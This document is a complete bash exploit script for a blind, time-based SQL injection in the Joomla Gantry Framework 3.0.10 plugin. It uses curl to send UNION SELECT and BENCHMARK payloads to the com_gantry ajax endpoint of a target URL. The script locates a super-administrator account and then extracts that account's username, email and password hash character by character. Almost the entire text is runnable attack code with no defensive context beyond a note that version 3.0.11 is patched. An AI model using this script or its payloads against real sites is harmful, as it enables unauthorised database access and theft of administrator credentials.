Joomla Gantry Framework 3.0.10 Blind SQL Injection

`#!/bin/bash  
# Exploit Title: Gantry Framework 3.0.10 (Joomla) Blind SQL Injection  
Exploit  
# Date: 4 September 2010  
# Author: jdc  
# Software Link: http://www.gantry-framework.org  
# Version: 3.0.10  
# Patched: 3.0.11  
if [ "$1" == "" ]  
then  
echo "$0 usage: $0 url [debug]"  
echo ""  
exit 1  
fi  
clear  
echo "##############################################################"  
echo "## Gantry Framework 3.0.10 Blind SQL Injection Exploit ##"  
echo "##############################################################"  
echo ""  
echo " Probing target $1 ..."  
echo ""  
GANTRY_PATH="$1/index.php"  
GANTRY_TIMEOUT="5"  
GANTRY_DELAY="10"  
GANTRY_AGENT='Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)'  
GANTRY_DATA="option=com_gantry&tmpl=gantry-ajax&model=module&moduleid="  
GANTRY_BENCHMARK="10000000"  
GANTRY_ADMIN_ID=""  
GANTRY_OUTPUT=""  
GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16"  
GANTRY_TEST=`curl -s -A "$GANTRY_AGENT" -d "$GANTRY_DATA$GANTRY_EXPLOIT"  
"$GANTRY_PATH"`  
GANTRY_REQUESTS="1"  
if [ "Direct access not allowed." != "$GANTRY_TEST" ]  
then  
echo $GANTRY_TEST  
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"  
echo "!! Site not vulnerable. Bailing! !!"  
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"  
echo ""  
echo "$GANTRY_REQUESTS requests"  
echo ""  
exit 1  
fi  
echo -n " Trying to get a super admin id... "  
for N in `seq 62 9999`  
do  
  
GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,IF((SELECT%20id%20FROM%20%23__users%20WHERE%20gid=25%20AND%20id=$N),BENCHMARK($GANTRY_BENCHMARK,MD5(1)),16)"  
GANTRY_TIME="`curl -s -A "$GANTRY_AGENT" -o /dev/null -w  
'%{time_total}' -H 'X-Requested-With: XMLHttpRequest' -d  
"$GANTRY_DATA$GANTRY_EXPLOIT" $GANTRY_PATH`"  
GANTRY_REQUESTS=`echo "$GANTRY_REQUESTS + 1" | bc`  
if [ "" != "$2" ]  
then  
printf "$N"  
echo " $GANTRY_TIME"  
fi  
if [ `echo "$GANTRY_TIME > $GANTRY_TIMEOUT" | bc` == 1 ]  
then  
GANTRY_ADMIN_ID="$N"  
break  
fi  
sleep $GANTRY_DELAY  
done  
if [ "" == $GANTRY_ADMIN_ID ]  
then  
echo "FAILED!"  
echo ""  
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"  
echo "!! Injection FAILED! !!"  
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"  
echo ""  
echo "$GANTRY_REQUESTS requests"  
echo ""  
exit 1  
fi  
echo $GANTRY_ADMIN_ID  
echo " Fetching admin info (this WILL take a while)... "  
echo ""  
echo -n " > "  
for I in `seq 1 250`  
do  
GANTRY_LENGTH=`echo "$GANTRY_OUTPUT" | wc -c`  
GANTRY_CONTINUE=0  
#a,d,m,i,n,b-c,e-h,j-l,o-z,A-Z,0-9,special chars  
for J in `seq 97 97;seq 100 100;seq 109 109;seq 105 105;seq 110  
110;seq 98 99;seq 101 104;seq 106 108;seq 111 122;seq 65 90;seq 48  
57;seq 32 47;seq 58 64;seq 91 96;seq 123 126`  
do  
if [ 1 == $GANTRY_CONTINUE ]  
then  
continue  
fi  
sleep $GANTRY_DELAY  
  
GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,IF((SELECT%20id%20FROM%20%23__users%20WHERE%20gid=25%20AND%20id=$GANTRY_ADMIN_ID%20AND%20ASCII(SUBSTRING(CONCAT(username,0x3a,email,0x3a,password),$I,1))=$J),BENCHMARK(10000000,MD5(1)),16)"  
GANTRY_TIME="`curl -s -A "$GANTRY_AGENT" -o /dev/null -w  
'%{time_total}' -H 'X-Requested-With: XMLHttpRequest' -d  
"$GANTRY_DATA$GANTRY_EXPLOIT" $GANTRY_PATH`"  
GANTRY_REQUESTS=`echo "$GANTRY_REQUESTS + 1" | bc`  
if [ "" != "$2" ]  
then  
printf "\x$(printf %x $J)"  
echo " $GANTRY_TIME"  
fi  
if [ `echo "$GANTRY_TIME > $GANTRY_TIMEOUT" | bc` == 1 ]  
then  
LETTER=`printf "\x$(printf %x $J)"`  
GANTRY_OUTPUT="$GANTRY_OUTPUT$LETTER"  
GANTRY_CONTINUE=1  
if [ "" == "$2" ]  
then  
echo -n "$LETTER"  
fi  
fi  
done  
GANTRY_LENGTH2=`echo "$GANTRY_OUTPUT" | wc -c`  
if [ "$GANTRY_LENGTH" == "$GANTRY_LENGTH2" ]  
then  
break  
fi  
done  
echo ""  
if [ "$GANTRY_OUTPUT" == "" ]  
then  
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"  
echo "!! Injection FAILED! !!"  
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"  
echo ""  
echo "$GANTRY_REQUESTS requests"  
echo ""  
exit 1  
fi  
echo ""  
echo "$GANTRY_OUTPUT"  
echo ""  
echo "$GANTRY_REQUESTS requests"  
echo ""  
exit 0  
  
`